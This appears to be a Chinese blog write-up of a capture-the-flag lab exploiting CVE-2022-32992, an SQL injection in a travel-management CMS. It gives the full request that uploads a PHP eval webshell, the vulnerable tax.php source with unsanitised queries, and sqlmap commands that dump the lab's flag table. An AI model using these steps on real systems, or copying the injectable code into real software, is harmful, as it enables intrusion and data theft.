CVE-2022-32992

CVE-2022-32992

一、漏洞介绍

Online Tours & Travels management system SQLI

该CMS的admin/operations/tax.php中存在可控的INSERT 语句参数,从而导致了SQL注入攻击。

二、渗透步骤
1、打开网站
http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/

在这里插入图片描述

2、扫描目录
┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/

在这里插入图片描述

3、访问网页
http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/file.php

在这里插入图片描述

4、上传WebShell

在这里插入图片描述

POST /admin/file.php HTTP/1.1
Host: eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------266977755039526940004077612149
Content-Length: 371
Origin: http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/file.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1685507993,1686039389,1686125034,1686301526; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1686301712; PHPSESSID=eci5f3514tjk6qg35mnl3qp53p
Upgrade-Insecure-Requests: 1

-----------------------------266977755039526940004077612149
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/jpeg

<?php @eval($_POST["cmd"]) ?>

-----------------------------266977755039526940004077612149
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------266977755039526940004077612149--

在这里插入图片描述

5、蚁剑连接
http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/upload/2.php

在这里插入图片描述

6、修改配置文件
/var/www/html/admin/operations/tax.php
<?php
//require_once('../check_login.php');
?>
<?php
include"../config.php";
try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    if(isset($_POST['submit']))
    {
        $sql = "INSERT INTO tax (tname, percent, short_code)
            VALUES ('".$_POST['tname']."', '".$_POST['percent']."', '".$_POST['short_code']."')";
            // use exec() because no results are returned
            $conn->exec($sql);
             $_SESSION['success']=' Record Added Successfully.....';
            // echo "New record created successfully";
            // $_SESSION['reply'] = "Added Successfully";
        header("location:../tax_details.php");
    }
    if(isset($_POST['update']))
         
    {
        $sql = "UPDATE tax SET tname='".$_POST['tname']."',
    percent='".$_POST['percent']."',
    short_code='".$_POST['short_code']."'
     WHERE id='".$_GET['edit_id']."'";

    // Prepare statement
    $stmt = $conn->prepare($sql);

    // execute the query
    $stmt->execute();
    $_SESSION['success']=' Record Updated Successfully......';
     // $_SESSION['reply'] = "Added Successfully";
        header("location:../tax_details.php");
    }
    if(isset($_GET['id']))
    {
        $sql = "DELETE FROM tax WHERE id='".$_GET['id']."'";

            // use exec() because no results are returned
            $conn->exec($sql);
             $_SESSION['success']=' Record Successfully Deleted';
            // echo "Record deleted successfully";
            //  $_SESSION['reply'] = "Record deleted successfully";
        //header("location:../tax_details.php");
    }
}
catch(PDOException $e)
    {
    echo $sql . "<br>" . $e->getMessage();
    }


    

$conn = null;
?>

在这里插入图片描述

7、sqlmap注入
(1)、探测数据库
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/operations/tax.php?id=1" --dbs --batch 

在这里插入图片描述

(2)、探测数据表
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/operations/tax.php?id=1" -D ctf --tables --batch

在这里插入图片描述

(3)、探测列名
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/operations/tax.php?id=1" -D ctf -T flag --columns --batch 

在这里插入图片描述

(4)、查看flag值
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://eci-2ze31var5g0pe30qtxd3.cloudeci1.ichunqiu.com/admin/operations/tax.php?id=1" -D ctf -T flag -C flag --dump --batch

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

liebe1*1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值